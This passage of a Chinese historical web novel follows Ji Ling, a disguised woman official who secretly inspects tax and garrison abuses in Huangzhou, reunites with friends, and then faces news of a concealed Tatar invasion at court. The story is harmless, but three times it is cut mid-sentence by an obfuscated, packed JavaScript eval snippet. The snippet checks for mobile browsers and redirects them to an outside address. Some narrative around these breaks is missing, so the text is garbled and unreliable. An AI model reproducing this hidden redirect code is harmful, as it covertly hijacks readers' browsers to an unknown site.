她和季泠都是女子,用刀剑直接迎战,基本不可能取胜,还有可能反被夺走武器,落入被动。因此准备的都是一些轻巧便携的东西。 此行时间较短,距离又甚远,季泠和林微两人轻装上阵,只一人骑一匹快马前去,当天晚上,两人就着趁夜色出发了。 白芨和白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446308|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蔹站在门前送走她们二人。 “为什么大人不坐马车前去?也不带上我们。” 白芨扶着门,有些担忧:“此去庐州遥远,没有快马是无法来回的。” “可是,咱们大人不是去找何大人叙旧吗,这么赶,如何叙旧呀...” 这样风尘仆仆,确实无法叙旧。两人在夜色中驾马飞驰,几乎不作停歇,寒风凛凛,她们的手已经被缰绳磨破了皮,好在冬天是麻痹疼痛最好的季节。 她们到了庐州府,见到了何咨宁,当晚就在庐州歇下。 季泠与何咨宁同眠于一榻,虽然早早熄灯,但两人并未入睡。 “咨宁,数年不见,你如今可还平顺?” 何咨宁在季泠入公主府后不久,就悄无声息的离开了。半年后,她才知道,何咨宁被公主外派到庐州府任地方推官。 在公主的默许下,两人取得了联系。但地方官员直面各类繁琐庶事,何咨宁忙得不可开交,季泠也渐渐不再打扰她,姐妹二人默默地在自己选择的道路上踽踽前行。 何咨宁看着憔悴了不少。 她在庐州两年有余,终于明白了理想与现实的差别,日日应对乡里长短,想推行新政却处处受阻,没有长远眼光、只图眼下利益的同僚;不理解她苦心、有时还倒打一耙的百姓…… 落后的建设,无知的人民,孤独的寓舍,幻灭的希望。 她在每一个长夜质问自己,辛苦了这么久,就是为了拯救这样的地方、这样的子民吗?他们生于此,长于此,却完全不想做出任何改变。 外派到此处的其他官员宁愿庸庸碌碌,也不想勤勤恳恳却一不小心急功近利、行差踏错。 最近的她,似乎想明白了些。她坐在精打细造的书案前领略史家的风光,将自己架在高瓴之上,难以落地了。 没有心无旁骛的大爱,是无法下定决心沉进淤泥之中的。她还需要修炼很久。 “在地方,平顺才是最可怕的。这便意味着,我已然失去了最真实的消息。泠儿,兴许从前是我太自负了,总以为自己才高八斗,比肩旭日。可落到无垠平原之上,方觉自己的无力与无知。”季泠静静地听着何咨宁剖析她过往的两年。 “你不知道,我上任第一件事,就是去一个村落之中,替村民弄清,为何她的鸡不下蛋了。那位大娘觉得,必定是她的鸡下蛋下得太好,招致了同村之人的妒忌,给她的宝贝下了药。” 季泠不可思议,在月光之中翻身撑身体,张大了嘴:“有这样的稀罕事?那最后你查出来了吗?” 何咨宁无奈地笑了笑:“连跑了好几日,将村里所有人家都探访了一回,在一声声青天大老爷中,终于查出来了。” “真是被下药了?” “是夏季太热了,她们家中为了省钱,又给母鸡换了饲料,这才不下蛋了。” 季泠扑哧一声笑了出来:“这简直有趣,像是在耍人开心。你这位青天大老爷,竟然日日判的都是鸡鸭官司。” “是啊,读了十几载的圣人训导,竟然最后来判鸡鸭官司……”何咨宁也开始自嘲,一口浊气中,藏了些许坦然的释怀。 她真害怕,就在此消磨掉自己的少年心气。 季泠敏锐地捕捉到好友的改变,心情复杂。这种变化带来的究竟只是蜕变的阵痛,还是一生的隐疾,无人知晓。 第二日一早,何咨宁上了马,痛季泠、林微一起出发,朝着庐州城外前去。 是的,季泠此行的目的并不是庐州府,而是庐州府旁边的黄州府。 她远在京城,手还无法伸到湖广,卷宗公文上简单的文字传递的信息太少。这些东西与地方的实际情况是否能够对得上,财税是否有瞒报的,户籍土地是否真实,赋役分配是否合理,账目收支是否合规,这一切的一切,除非她亲自到湖广了解清楚,否则难以真正洞察。 在这半年内,每当她有任何公务上的合理需求,湖广司的闫有德都顾左右而言他,敷衍塞责,完全是一副软刀子,将她磨得心烦。 她如果越级上报,只会显得自己能力不足,手段不高,反而失了上级的信任。而且,她暂时摸不清户部之间盘根错杂的关系,她在缓慢延伸时,也必须给自己的根基之所筑个无形的防御才行。 47. 再逢故友 日夜兼程,季泠三人入了黄州城。酒楼饭馆向来是信息最通达的地方,黄州城中的来享楼便是黄州消息集散处。 虽已入夜,来享楼中仍旧热闹非凡,雕梁画栋,香气弥漫,饮酒作乐,吟诗听曲,好不惬意。自三人她们进入来享楼、向伙计的问房开始,阁楼之中的人便起了兴趣。 楼里人多眼杂,季泠三人平头男子装扮,倒未如何引人注意,只依例付了房钱,就由伙计带去厢房处。 来享楼上最为隐蔽的阁楼里,帷帐层层,窗边的贵妃榻上斜倚着一人,凭借高地将全楼动静尽收眼底。涂着大红蔻丹的柔肤玉手中把玩着一柄蝶恋花烙画镂空檀香扇,不过是随意一瞥,却意外瞧见了熟人。 一侧的侍女瞧见,她们的东家微微支起身来,抬手轻轻一挥,合起了檀香扇,带过一股安神静气的幽香。她用扇柄轻轻撩开花罗纱帘,注意着下面几人的一举一动。而后勾了勾嘴角,露出一副期盼已久的神情。 季泠只能在黄州停留两日,她需要速战速决。进了厢房,旋即开始和林微、何咨宁商议两日安排。 第二天清早,三人还未出门之时,却听见了敲门声。三人面面相觑,当即谨慎起来。 林微站在门侧,询问来人,伙计应声,送来了三盅鸽子蛋炖雪蛤。 季泠屏气沉思:“这东西可不便宜,谁点的?” 伙计始终未曾抬头,将木盘置于圆桌上,低头回答:“咱大东家请三位客官一尝。”随后便识趣告退。 “东家?我们在黄州人生地不熟的,又不认识什么人,东家怎么会送东西呢?”林微纳闷,正欲转身关门之际,却听见一声抱怨传来。 “谁说人生地不熟的?”这缕声音婉转娇嗔,让闻者抓心挠肝。 何咨宁略带差异,转头与季泠相视一笑,按捺住激动,等着那人出现。 层层雕花罩后,三人先见着一身昌荣色凤凰花纹竖领大襟长衣,款款莲步之上是赪紫织金妆花纱马面裙。廊边的侍女撩开帘子,那位风姿绰约的大东家终于是现了真容。 梳着牡丹髻,戴着一套嵌碧玺、紫水晶和红宝石的金头面,凤眼绛唇,楼饮晴袅袅而来。 “饮晴!”等她出现,季泠率先出声,“你怎么在这儿?你是东家?” 楼饮晴含笑点头,走进厢房,示意身后侍女关上门。 楼饮晴毫不客气地在宝瓶形莲花纹挺柱圆桌边坐下,颐指气使地嚷道:“快来将我的雪蛤吃了呀!可贵了!” 三人笑了,连忙坐下端起她的雪蛤:“真是托了你的福,平日里我们哪能吃到这样的好东西啊!” 季泠舀了一勺,入口后泛起甜味。 何咨宁只惦记正事,直接开口:“这来享楼是你的?这么大的排场,你在黄州府怕是还有别的资产吧?” 楼饮晴得意地昂起头:“那可不是!别说黄州府了,整个湖广,连带着边上的南直隶,我都有不少产业。” 楼饮晴实在是个做生意的奇才,她为人爽快,美艳无双,看着行事不着调,却擅长把握人心。漂亮的脸蛋,不错的身手,豪爽的气概,风趣的性格,洒脱的心态,她的通神本领都铸就她行商天下的本事。 湖广航线密布,河流众多,农业发达,又是天下重要粮仓,她带着在南直隶挣得的丰厚家产又来到了湖广,短短一年半,酒楼、茶舍、香料、丝绸、茶叶、木材、首饰、商行尽收囊中,她的招牌在湖广打得无比响亮。 季泠一听,眼睛一亮,行商坐贾,楼饮晴这样的人,消息灵通不说,人脉也广,有她在湖广,季泠想要获得第一手消息,简直易如反掌。 她们三人立刻和楼饮晴说明了来意,并把季泠如今任职于户部湖广司的事情也如实告知。 楼饮晴当即来了兴趣,却非要故意调皮,拿腔作调起来:“当时我就知道,你这小女子不一般呐!如今你胆子都大到直接装作男人,和那群心眼子比蜻蜓还多的老狐狸共事。你说,这要是让我捅出去了,你该如何呢?”说罢,昂起了头,斜睨了季泠一眼。 季泠就知道她是这样的性格,做事爽利,嘴上却半点不饶人,等过足了嘴瘾才肯收心。 “姑奶奶,所以今日我便要求到你的地界上来了。眼下可不是立刻投诚了?您这样眼明心亮的大美人儿,湖广手眼通天,动动手帮我一把,积德深厚呀!” 楼饮晴见她那刻意的矫情样儿,冷不丁地寒毛直竖,果然下一刻就拍了季泠一把,叫她正经些。 “我的意思是,京城与湖广距离甚远,若没有朝廷下命派遣,我是没法儿来的。可若是朝廷派遣,势必不止我一人前来,一概言行皆会被审视控制。 此番我们从公主那儿得了路牒,虽然名义上是探访友人,可为了避免多生事端,京城无人知晓。即使是快马加鞭,我们也只能在此停留不足两日,必然无法事事皆全。 你在湖广势力遍布,手底下人也多,耳目通达。若是户部管辖的事务有什么纰漏的,你及时来信告知我一声,也好让我心里有个底。” 楼饮晴也知道,她这样做是冒着多大的风险。如果户部中人知道了她此举,难免猜忌,擅自离京若要追究起来,也是一桩麻烦事。 可如果她不来,哪日他们动了手脚害了她,她也只能坐以待毙。 一想到闫有德那张道貌岸然的脸,季泠就头疼。 湖广司兼掌国子监,教坊司,在京茂陵等八卫及兴都留守司之俸饷。闫有德将兴都留守司交由她负责,可地方呈上来的名册与闫有德给她却对不上,平白多出几个吃空饷的人挂了名,她上下奔波许久,发现多出来的那几人早就不在人世了,饷银也不知是流入谁的囊中。 她恭敬地请教闫有德,却只得了一个办事不力的训斥,还寻了个由头将她的俸禄克扣了。季泠别无他法,只好冲进吏部,调来兴都留守司名册,以此证明此事是闫有德的过失。如此一来,闫有德更是看她不顺眼了。 经此一事,季泠终于明白祝扶春说的消息灵通有多重要,在这样的地方,既需长目,又需飞耳,更兼树明。千里之外,隐微之中,皆应洞悉。 可闫有德那儿她已然无力转圜,只能另辟蹊径,为自己求一份应对意外的保障。 “公主把你弄进户部,真是用心良苦啊。”楼饮晴酸酸地说。 “要不这位子换你来坐?我在这儿当几天东家,收收账喝喝酒?”季泠叹了口气,忍不住回怼她。 其实几个姑娘都知道彼此的不容易。楼饮晴看似是风生水起了,可是女子行商,在男人做主的世界里讨口饭吃,哪有那么容易呢?背地里受的苦和委屈不比她们在官场里的少,也就是如今爬到高位上了,将钱权牢牢握在自己手中,才勉强松快些。 晌午,经由楼饮晴的引荐,季泠等人见到了黄州府的通判谢令欢。 “季大人,何大人,久仰。” “谢大人,你我平级,不必如此客气。” 三人行了两拜礼后才坐下。楼饮晴在一旁给他们彼此介绍,并向谢令欢说明了来意。 谢令欢闻后理解点头,季泠新官上任,要摸清下头的底细,自然要亲自来一趟。能借楼饮晴,和京城的官员打交道,他何乐而不为呢?卖了这个人情,适时提醒一下,对彼此都有益。 “湖广是全国有名的粮食产地,但税粮却不高。夏税麦大约是十四万石,十三布政司和南北直隶约是四百六十万石。秋粮米就多些,约 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446309|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 占了十分之一,全国大概两千两百万石。” 这些季泠大体都知道了,湖广算是一个富裕之地,粮多税少,比起北方许多地方而言,已经是很低了。 “我听说,南直隶有些地方富裕,七品知县一年常例有二十余项,夏绢银一百六十两,夏样绢,农桑样绢,审里甲丁田,审均徭,造黄册,各项钱粮等等,可以收到近三千两银子?”何咨宁问。 谢令欢只答:“全国各县大体总是一样的。” 季泠又追问:“湖广世代出人才,官员举子众多,免了徭役…自然了,还有些借机逃避徭役的。前段时日,曾经封在此地的郕王寻了个山头,抽人去建了陵墓,赶着工期,现下应当是快完工了?” 谢令欢没说话,只笑了笑。 有人利用官员逃了徭役,宗室在地方兴建土木、纵情享乐,将本就贫苦的农民征了去。地主豪强自然是有钱能使鬼推磨,百姓则是春种秋收,冬徙而亡。寻的山头,自然也不会是什么无主山头,兼并抢夺的是谁的,也就不得而知了。 谢令欢向季泠与何咨宁大概说了黄州府的相关情况,有些不足为外人道的,他也委婉暗示了,如何分析定夺,全看听者如何领会了,他言尽于此。 谢令欢走后,季泠盯着楼饮晴,试探道:“饮晴,我看这个谢大人,对你没那么简单吧?只是朋友?” 谢令欢年岁较大,已经三十好几了,若要季泠她们看来,谢令欢绝对是配不上楼饮晴的。可脱离世俗评判,若是此人当真情根深种,还能为楼饮晴带来湖广便利,又何乐而不为呢? 楼饮晴不甚在意地挥挥大袖,扶着桌沿坐下,又慢悠悠地给自己斟了一杯酒,轻啜一口才说:“那又如何?和我做生意、打交道的男人,几个不是先看着我的容貌而来的?利聚而来,利散而去,逢场作戏而已。” “如果他是真心的呢?”林微问她。 楼饮晴嗤笑:“真心?老娘珍珠都有一屋子,要他的真心做什么?男人的真心,换来女人的贞节牌坊,这样的一桩生意,赢得永远是男人。”她不是没相信过别人的真心,可是她的结局是什么呢? 楼饮晴正襟危坐,不欲再讨论这个话题。 “你们不是只能在此停留两日吗?说回正事吧。贵戚铺行,与民争利。这是自古以来的事情了,也不是本朝特例。就算是我,也争不过,碰上了只能自认倒霉。” “种地的和有地的,收米的和吃米的,向来不会是同批人。地方官员再清廉,也止不住手下人和地主们去盘剥。更何况他们不用动手,下面就有大把的人将银子钞票塞到他们手里,求着他们收下,何乐而不为呢?” “执庸,这桩桩件件的,你要理清,不是易事。” 季泠叹了一口气,她当然知道不是易事,否则也不用亲自跑一趟。兴百姓苦,亡百姓苦。压在百姓身上的是百座大山,她总要亲自看见是有多么坚不可摧,再来一座座搬。 在黄州的最后一日,季泠三人走出黄州城外,走入村落之中。 最是辛苦老黄牛,耕田半生亡田中。 在野望垄,农人脊背化为青禾之中的一座座山丘。 屯田之处,草盛苗枯,军户流亡。 休养生息之际,却见渔船入湖,竭泽而渔。 日暮将临,季泠和林微在黄州城外就与何咨宁、楼饮晴两人分别了。 “放心吧执庸,只要我还在这儿一日,保准把仓里有多少米都给你数出来。”楼饮晴扬了扬下巴,冲她挑眉。 “泠儿,后会有期。”何咨宁抱着她轻轻说。 林微和季泠翻身上马,城外只见两顶大帽随着马儿远去。 浓雾之下,双雁归京了。 48. 寒冬风沙早春骤发 “今日似乎又不出太阳。衣裳都晒不干了。”浮云堂前,碧萝和紫萝在抱怨着。垂头丧气:“何止这几天呢,估摸着,这一个月都如此吧。” 天阴气沉,黑云压城。 季泠坐在署衙之中,没来由地喘不过气,总觉隐隐觉得有不祥之兆。不知道是不是北风将边关的尘沙卷来京城,嗅进去的空气多了几分粗粝,磨得人鼻腔生疼。 也有可能是她怕冷,如今虽然是早春,可只有她还没撤掉炭盆。公案桌边,炭火噼啪跃动,季泠觉得吸入的气也太干燥了,有一股兵器库的味道。 合上公文,她起身走到衙门后头的园子中,想借初生花草换换气,缓解心中那股怪异的感觉。 “执庸!”祝扶春从远处走来,大喊她的名字。 季泠走上前去,心中那份不安又加重了几分,她连忙问:“怎么了?” 祝扶春眉头紧锁,将手中才来、却不知过了几手的牒报递给她看:“西北连连战败,已经退守到山西了。” 季泠大惊失色,一把抓过公文,可还没等她聚神看清上面的字,眼睛就仿佛是被炭火熏到了,眼前一热,好像有什么东西滴了下来。 “执庸!”祝扶春连忙掏出手帕,季泠才发现掉下来的不是眼泪,是鼻血。她感觉奇怪,不理解为什么热着的是眼睛。 只是她脑子还来不及反应,就急忙用袖子擦着沾上血的牒报,字迹被鲜红的血盖住,黑红相间,逐渐融合。 祝扶春拿回牒报,让她把头仰起来,替她擦去鼻子周边的血迹。 季泠推开他的手,着急张口:“怎么回事?西北边防不是一向稳固吗?去年和年初从未听过有什么战事的消息,怎么一下子就失守了这么多城池?” 祝扶春也没办法冷静下来。他接到这个消息之后,立刻就想着必须先告诉季泠,还没来得及探听清楚细节,只能边朝着堂内走去,边告知她所知道的一切:“听说年前就打起来了,但是卫所驻守的人怕朝廷怪罪,压下不报…又恰逢年节,前后诸事繁多,层层隐瞒,层层推脱,直到昨日消息才传来。” 两人已经回到堂内,季泠抬眼看去,数张公案边的大臣们仍同往日一样忙碌着,看来消息还没传开。 “你是从哪里得到这个消息的?有几分可信?这个消息来得突然,最怕以讹传讹,到时候人心惶惶,反而不好做决断的。” 季泠终于明白她的不安来自何处,就像是有预感一般。西北的烈风终究吹到了京城,喇了不少人的血。 祝扶春想了一个应对的合理由头:“并非空穴来风。我家车夫的内人在周平周大人的夫人身边当值,消息很快就传出来了。昨儿夜里周大人、刘大人和张大人就被夜传进宫,天亮了周大人才回府。大概说了此事后,准备了一下就又进宫去了。” 季泠想起来,周平是都督佥事,消息从皇帝到周家,再到祝家,只过了三手,应该还是可靠的。 季泠在东南长大,对西北的军事实在不太了解,只知道近几年西北风平浪静,先皇五征蒙古,勉强稳定了局势。后来新帝登基,为了维持和平,安抚蒙古诸部,将各个部落的首领都封了王,以彰归属。然而蒙古表面看起来是风平浪静,实际上撕毁所谓的册封圣旨不过是易如反掌,他们韬光养晦、只待时机罢了。 去年冬季,蒙古大雪,冻死了不少牛羊牲畜,一纸定下的互市协议只束规矩之人,又怎么会防的住逐草而居的蒙古部落呢。很快他们便整顿军队,举兵南下了。 忽然,不知道是谁在人群中喊了一句:“西北开战了!我军连连退败!” 两人不约而同地转头,先前各自忙碌的同僚们瞬间鸡飞狗跳,聚拥至一处,七嘴八舌议论开来。 “这可怎么办呀!不会打到京城吧?” “听说已经打过来了!我军竟完全难以抵挡!” “朝中至今还没选出可以应对之人!我们要完了…” 悲观之语传得比夏天的闪电还要快,只要亮了一下,就惊摄住所有人,都不必听是否打雷,不必看是否下雨,旁观者就已经被吓的魂飞魄散,口不择言了。 此处实在是太喧闹了,季泠不便追问,只好拉着祝扶春到一处无人之地,准备进一步了解细节。 “是瓦剌吗?主帅是谁?沿线驻守的情况如何?现下打到哪里了?皇上有没有说要如何应对,给出什么决断出来?才逢春日,是否边防的将士有足够的粮草可以应对?” 季泠只能一股脑儿地将疑惑全部抛出来,速度快到她都不太记得自己问过了什么,只知道嘴皮子直碰撞,以此分散内心的焦灼。 才在廊下站定追问,就见户部侍郎应惟绅朝他们走来,两人当即住了嘴,拱手行礼。 应惟绅抬了抬手:“不必在意我,你们自说你们的,我只听听。” 祝扶春倒是迅速接住了她的问题:“不是瓦剌,是鞑靼,他们此次的主帅是先前顺义王的孙子,如今才满十八,心高气傲,十分好战。沿线驻守全部没有料到这一战事,一开始的卫所被攻陷之后,没有将消息外传,将后面的几城打得猝不及防,人心已然涣散,自然守不住。” “昨日消息传到时,说是已经占了大同,快要破雁门关了。若是雁门关破,鞑靼直入太原,京城岌岌可危。皇上的想法,暂时还不明朗。粮草名义上总是备足了的,实际上如何还未知晓,毕竟,压根没有打起来消耗粮草的机会…” 三两下的,几人就将来龙去脉了解了彻底。 他们远离决策中心,消息闭塞,只能干着急。 “应大人!应大人在何处!”有人在堂中高喊,三人同时转头,是御前的人。 应惟绅出声,那人带着后头一群人才急急地冲过来:“应大人,皇上要您即刻入宫!” 应惟绅点头,拔腿就走,季泠见状立刻请求:“应大人,我们可否同行?” 应惟绅看了他们二人,只犹豫了一下,就应下:“谨慎些,不该说话的时候别说话。” 祝扶春颔首,瞥了季泠一眼,季泠开口要求实在让他惊讶,而应惟绅的许可却更是超出他的预料。 季泠的身份,只是公主属臣那么简单吗…… 自季泠入户部开始,他便与她相识相交,看她平日言行举止,虽然已经是十分收敛了,可绝对不是一个成熟谨慎的官吏该有的行事作风。 她那乱拳打死老师傅的随意,为何总能在事到临头之际化险为夷? 按理而言,他们的身份地位是不配参与决议这样的大事的。 季泠无暇分心去留意祝扶春的眼神,只说了一句快走,就小跑跟上大步流星的应惟绅和御前传话之人。 应惟绅入场时,早已到达的众臣纷纷转头,就看见了跟在应惟绅身后的季泠和祝扶春。 季泠在垂首跨过门槛时,偷偷抬眼,为首几人是内阁重臣,左右两侧所立翩翩绯袍,全是六部尚书侍郎,再外侧一些的,则是都御史和六科给事中。 她和祝扶春的身份实在是拿不出手。眼下交战正酣,其它大臣只瞥了一眼,便立刻转回身。她还未收回眼神,就被两道炙热的目光摄住。 于是她更大胆地抬起头,就看见户部尚书十分不满地看着应惟绅:“你怎么把他们也带来了?眼下是给他们争脸的时机吗?” 应惟绅只应:“恰巧而已。” 而他斜前方的徐行,正皱着眉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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此次集议不过就是两件事,如何解决鞑靼进攻的问题,以及如何处置渎职怠职的官员。 战祸源于层层隐瞒不报,首先就要治周平这个都督佥事之罪,但眼下战事未平,皇上不能发落他,只能先压下怒火。 午时,众臣还在商议镇守雁门关的人选时,殿外就飞传来边关急报,侍卫奔入殿内,从季泠身旁急速掠过,投下一片阴影。 雁门关破了。 鞑靼大军已经深入山西,烧杀抢掠,将所见的食物牲畜全部掠夺,无法带走的全部烧掉。 寒冬未去,雁门关内外的百姓就已经没有春天。 而这一切的源头,只是因为最初那个大同总兵担心被周平和张瑛怪罪,失去京城的庇护和自己的前程,坚信自己能够抵抗住多年未犯的鞑靼。 实际上,鞑靼早在两个月前就已经开始攻占大同,大同总兵四处求兵,将周边重镇的兵力全部填了进去,让守军抵抗了两月。 城破之际,他携着亲信逃离了大同,底下的士兵见大势已去,纷纷偃旗息鼓,失去斗志。 副总兵临时接过大梁,英勇无畏,拼死应对,奈何双方实在太过悬殊,最终以身殉城。 而正是因为周边兵力都被大同总兵以周平这位都督佥事与张瑛这位内阁首辅的名头唬来,以至鏖战两月,大同城破之后,中间毫无缓冲,多座城池轻而易举地流入敌手。 实际上,雁门关五日之前就已经被大军冲破,大同总兵滥用自己在山西的职权,仍想在最后一刻将兵败的消息压下,以至于京城收到的军情与前线早已不相匹配,无法及时做出应对。 现在朝廷到了用人之际,吏部与兵部竟然一时间找不到任何可以调用的将领,最后只能选出去年才因伤而返京修养的抚远侯齐威。同时将曾镇守大同,后因不满周平而被贬为游击将军的李关山升为副总兵。 此次鞑靼入侵的消息,就是由他扛住了层层压力,不惧处罚,传到京城的。 49. 沙场猛虎蚕食兵将 季泠在听见周平抵死推托罪责,厉声斥责大同总兵,欲撇清干系之时,思绪如千浪翻涌。 她曾经无比敬畏这位老将。周平曾经是名动京城的武状元,夺得会试第一后,收到圣上重用,练兵奇佳,整顿军纪,声誉显赫。 周平挂任辽东总兵,在辽东军备废弛之际走马上任,一去便镇守辽东十余年,频退各部祸乱,维持边陲安定。 不久,周平顺理成章升为左都督。五湖四海,百岳千山,无人不识周将军的名声。 就连她这个未曾走出过建州的学生都知道,东南齐威,东北周平,威震四海,平乱八方。 进了公主府后,她了解到,周平为了振兴辽东,必须获得中央的支持,于是搭上了张瑛这位举重若轻的阁臣。此后,他卷入党争之中,心甘情愿成为张瑛的利刃,位望益隆,迷失本心。 之后,因为大肆敛财,他遭到京城文官的弹劾,在战中被临阵换将,他当即大怒,随后数场战役,他连连战败,新责旧账,一并清算。新任辽东总兵上任之时,就是他被扭送回京之日。 亏了张瑛保下了他,周平降为都督佥事,再不掌兵权。 这些季泠都曾了解过,哪怕昔日在流音阁,她第一次见到周平的真面目,也仍旧对这位沙场虎将钦佩不已。 她从不认为,周平投靠张瑛有什么错。既入了朝,无人支持,空有壮志,也是孤掌难鸣。张党也好,钱党也罢,能做实事,选择何种手段,都不必在意,殊途同归。 可今日,走到养心殿内,脱离了市井流言的传颂,剥开辽东总兵的金甲,洗去时光与意气赋予的辉煌,她突生凄怆。 昔日风光无限、勇往直前的周将军,为了一己私欲不顾西北百姓安危,不顾边疆将士浴血,在天子震怒之下,只顾着为自己开脱。 十数年前,辽东战旗扬起,雄姿英发。跨越万里,被光阴燎穿,只剩躯壳,飘到京城,在无声之时,无人之处,重重地甩了他一掌。 何其可悲。 回到浮云堂后,季泠揉着疼痛的膝盖,很快就入睡了。 她要有足够的精神应对明天的一切,户部粮道需要上场,她该去好好看一看,究竟还有什么牛鬼蛇神在这个时候冒出来。 除了周平之外,还有一些疑惑在她心中团积成云。只是她已无力追索,留着它们在她梦中再仔细辨别。 行简斋内,徐行却彻夜难眠,他没想到季泠真的未发一言,但就是这样,他更想知道,季泠在酝酿什么。 曾经在建州,面对倭寇之患时,她的见解就很不错。 如今她一定也有一些能让人意想不到的想法。 而如今兵部与吏部无人可用,也是一桩大难题。但此事需要久久为功,他也需要从长计议才行。 今夜,京城注定有人安寑,有人难眠。 未到寅时,季泠就起身了。 昨夜她似乎基本没睡,脑子毫不停歇地转了一晚,总算缕清那份不可名状的、隐隐察觉的异样。 可她似乎又安睡一夜,眼下她生龙活虎,筹划着如何妥善最大化利用自己的发现。 因赶着出门,季泠没有套车,带着林微翻身上马,出了石竹巷。 才到巷子口,就遇上了许多也要去衙门的同僚。 今早吏部、户部和兵部要进行部议,众人行色匆匆。 “执庸?你怎么没有驾车?你来我这儿吧。” 祝扶春知道季泠应该是因为昨日听了廷议,现下着急,但也不差这一会儿。 当街纵马未免太难看了,他们这些士人上值都应该是要坐车轿的,就算没有马车,牛车也不算失了体面。 祝扶春撩起帷帘正与季泠说话时,一阵琉璃灯晃动的轻响捕获了季泠的注意。 季泠坐在马上,越过祝家马车看去,一架快速前进的马车在经过石竹巷时缓慢下来,徐行撩开侧帘,注意着石竹巷口的动静,却未曾叫车夫停下。 季泠的目光游移在两车之间,随后利落地翻身下马,将缰绳交给林微。 祝扶春笑着伸出手准备拉她入内,却看见季泠只朝她微笑,随即越过他去。 “徐大人,下官有话想与您说。” 祝扶春的手在空中停滞,而后反手拨开帷帘,就看见徐家的马车已经停下。 他怎么不知道季泠与徐行有过私交? 两人一个户部六品小官,一个吏部三品大臣,怎么搭上关系的? 他暗暗揣度,凝视着季泠的背影。 “上来吧。”车内的声音难以掩盖疲惫。季泠没有犹豫,扶轼而上。 “你要说什么?”徐行昨日还有一肚子疑惑要问季泠,现在看见她神采奕奕的模样,却突然一片空白,只能先探探季泠的想法。 “先生觉得,这场战役,我们能不能赢?” “我们只能赢。”这可不是开玩笑的话题,太原失守,兵临城下,他们还能逃到哪里去? “先生有没有想过,为什么我们有十万守军,却没有守住大同镇和雁门关?除了追究大同总兵之罪,我们也该回头想想,是否还有别的因素导致这些?” 徐行没有回答她,季泠只好再次强调:“千里之堤,溃于蚁穴。” “你是说,士兵之中出了问题?” “兴许不止。我们守军十万,大同总兵又从关内调用不少于五万人,可鞑靼也就八万人,几乎以二对一,就算城门守不住,也该坚持得再久一些才是。可如今,不到两月就城破,先生不觉得太快些了吗?” 徐行摸不清她想说什么,只注视着她,凝神谛听。 “学生的意思是,也许十万只是名义上的守军。高祖开国之时,为了快速恢复地力、种植粮食,采用军屯,在军所广屯田,练士卒。高祖以为,军队威望肃然,这样既可以减少对地方百姓的索取,又可以让军队自给自足,最终将此制推广全国,命令天下卫所,分兵屯种。” “可时移势易,我只管着湖广一亩三分地,但已经见到,由于军屯产量不仅要供给自身,还要上 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安置于膝上的双手逐渐攥紧,徐行的双眼开始思考。 可季泠远不甘于此结束,毫不掩饰的清亮女声打破了长如黑夜的阒寂:“最后,便是此战的根本。军民的衣食究竟如何保障供应?饥寒交迫最容易叫人丧失希望。” 他们聊了许久,马车早已经到达六部衙门前,但季泠与徐行迟迟未下车。 季泠已将她的猜想一吐为快,徐行需要时间分析判断,季泠也不欲继续在此白耗光阴,伸手准备撩开帷帘。 “等等。“季泠弯着腰转身,疑惑回望。 徐行抬眼,看向带着乌纱帽,穿着鹭鸶补子青袍,似乎与以往有些不同的季泠。入朝近一年了,她长大了很多,成长地很快,有些超乎他的想象。 “你,为什么告诉我这些?这原不在你职责范围之内。且你该说,也该与户部之内的人说,再由他们来传议。” 季泠没想到他会这样问,抬起的手忽然无力垂落,落坐在帘边。低头的一瞬间,将自己的举步维艰巧妙隐藏起来,她的脚一勾,就可以将帷帘轻而易举地掀开。 “先生,人微言轻,有时候是身不由己的。没人愿意倾听蝼蚁之声,至少您是愿意的,我只能跟您说。如何裁夺,我已经无力干涉。” 她能跟谁说呢?她的上官、户部郎中闫有德一直看她不爽,总要挑她的错处,任何小事都要给她使绊子,就怕她太过顺利。 再往上的应惟绅始终明哲保身,昨日他能够允许季泠与祝扶春一同入宫,已经是意料之外了。 户部尚书?应惟绅说话他都不理睬,何论她这个微末之流的人呢。更何况,她能见到户部尚书,都是十分不易的,又岂敢肖想他的认可。 她突如其来的失落令徐行措手不及,早知如此,他就不问了,反正得到了他想知道的结果就行了。 季泠也不再等他回应,只留下一抹轻若白羽、沾着希望碎屑的笑容,转身下了车。 50. 百人部议一党专言 “执庸?怎么这么久?”户部衙门前,祝扶春翘首以盼。 季泠走到他身边,和他并肩前进:“没什么,多聊了两句。” 祝扶春有些好奇:“你与徐大人是怎么认识的?” 多一事不如少一事,季泠的语调十分正常:“只是打过几次照面罢了。走吧,咱们看看今日部议众位大人怎么应对。” 祝扶春落后了季泠半步,前行的同时,回头瞥了一眼徐行的马车。 徐行穿着绯红补服,从马车上稳步而下,右手置于胸前,左手背在身后,朝季泠这边看来。意料之外,与祝扶春对上了眼,他瞬即轻轻掠过,似乎只是不经意地看见两人,转身走向堂内。 三部官员齐聚一堂。 五军都督府本该归属兵部管辖,可周平仗着自己和张瑛的权势,对兵部尚书蒋建宽的命令要求视若无睹。 